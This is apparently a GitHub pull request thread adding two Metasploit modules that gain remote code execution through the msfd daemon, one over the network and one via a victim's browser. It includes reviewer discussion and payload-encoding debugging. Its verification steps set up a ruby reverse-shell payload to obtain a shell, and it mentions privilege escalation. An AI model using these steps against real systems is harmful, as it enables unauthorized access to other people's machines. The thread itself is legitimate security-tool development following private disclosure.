Module msfd rce (remote and through browser)

[rstenvi]

This PR adds two modules for exploiting Metasploit's msf daemon. The Metasploit team was contacted privately first and they confirmed that this is not a vulnerability, but intended behavior. These two modules are dependent on PR 9900 and will not work without it.

This PR adds two modules because they target the same functionality, but through different methods. The first method can be used if the msfd-program is exposed on an external interface and the second method uses the victim's browser to send network requests to localhost.

Verification

Verification step for module msfd_rce_remote

• Start vulnerable service on the victim's machine msfd -q -f -a 0.0.0.0
• Start msfconsole
• use exploit/multi/misc/msfd_rce_remote
• set rhost IP
• set rport PORT
• set payload ruby/shell_reverse_tcp
• set lhost IP
• set lport PORT
• exploit
• A shell should be received.

The above module could also be used for privilege escalation, see steps in the documentation for how this can be done.

Verification step for module msfd_rce_browser

• Start vulnerable service on the victim's machine msfd -q -f
• Start msfconsole
• use exploit/multi/browser/msfd_rce_browser
• set remote_ip IP
• set remote_port PORT
• set payload ruby/shell_reverse_tcp
• set lhost IP
• set lport PORT
• exploit
• Visit the listed URL on the victim's machine
• A shell should be received.

Both exploits have been tested and verified to work on Linux and Windows, but msfd_rce_browser is unreliable on Windows. The exploit rarely worked when Firefox or Chrome was used and only worked in IE when the -q flag was sent to msfd. On Linux I had no issues.

[cbrnrd]

Thanks for writing this! When changing this stuff, keep in mind that changes to documentation will generally apply to both documents.

[cbrnrd]

You may want to change this so it doesn't get confused with your other module (which has the same name).

Something like Metasploit msfd Remote Code Execution Via Browser would probably be fine

[cbrnrd]

A note that only IE works for exploitation on Windows would be good somewhere here.

[cbrnrd]

Why do you need this variable? You're not using it anywhere in the method.

[cbrnrd]

If it affects older versions of metasploit, write < 4.16.51

[rstenvi]

I've tried to clarify on this point. Pretty much all versions are vulnerable, but I have only tested the targets listed.

[cbrnrd]

This should probably be moved down to the Verification Steps section

[cbrnrd]

This should probably be more specific

[rstenvi]

Thanks for the review, I've updated according to your comments.

[asoto-r7]

Hey @rstenvi, thanks for the modules! I'm testing them out locally, and running into an issue with payload encoding.

You've defined BadChars as \x27\x0a (0x27 = ' and 0x0a = newline). Certainly, the irb command isn't expecting quotes or newlines, so that makes sense.

But it seems that this prevents the verification steps from succeeding. In my testing, the ruby/shell_reverse_tcp module uses newlines and isn't able to work around the \x0a bad character:

$ ./msfconsole -q
msf5 > use exploit/multi/misc/msfd_rce_remote
msf5 exploit(multi/misc/msfd_rce_remote) > set RHOST 127.0.0.1
msf5 exploit(multi/misc/msfd_rce_remote) > set RPORT 55554
msf5 exploit(multi/misc/msfd_rce_remote) > set PAYLOAD ruby/shell_reverse_tcp
msf5 exploit(multi/misc/msfd_rce_remote) > set LHOST 127.0.0.1
msf5 exploit(multi/misc/msfd_rce_remote) > set LPORT 31337
msf5 exploit(multi/misc/msfd_rce_remote) > exploit

[-] 127.0.0.1:55554 - Exploit failed: No encoders encoded the buffer successfully.
[*] Exploit completed, but no session was created.

Why are we failing to encode the payload? Attempting to generate the payload separately using msfvenom provides some more detail:

$ ./msfvenom -p ruby/shell_reverse_tcp LHOST=127.0.0.1 LPORT=31337 -b '\x27\x0a'
No platform was selected, choosing Msf::Module::Platform::Ruby from the payload
No Arch selected, selecting Arch: ruby from the payload
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of generic/none
generic/none failed with Encoding failed due to a bad character (index=338, char=0x0a)
Error: An encoding exception occurred.

Note the second-to-last line, which reports that the payload generation failed because of the inability to avoid the 0x0a bad character.

While I think we could stand to improvelib/msf/core/payload/ruby.rb:33 to use ; as delimiters by default and revert back to newlines if 0x3b is provided as a bad character, I'm curious about the provided verification steps.

Could you confirm if the verification steps work for you?

[wvu]

#6714 may be relevant for context. msfd never ran in defanged mode, though. It only disabled command passthrough. /shrug

[rstenvi]

@asoto-r7 I did have to write a separate encoder to make it work, this is in #9900, also mentioned in the description. I later looked at some of the other exploits that use ruby and saw that they handle the encoding in the exploit, but I think it's cleaner to write a separate module for this.

[asoto-r7]

@rstenvi : Outstanding! Two contributions for the price of one. 😄

Just a note here that #9900 has been landed separately:

This adds a base64 encoder module for ruby payloads.

With the new payload modification, this exploit module worked perfectly for me, so I've merged it into master. Thanks for the responsible disclosure and for the contribution!

[asoto-r7]

Release Notes

The exploits/multi/misc/msfd_rce_remote and exploits/multi/browser/msfd_rce_browser modules have been added to the framework. Both modules use an unsecured msfd daemon to get a shell on your target. Use the exploits/multi/misc/msfd_rce_remote module if the msfd-program is exposed on an external interface. Use the exploits/multi/browser/msfd_rce_browser module to send network requests to localhost via the target's browser.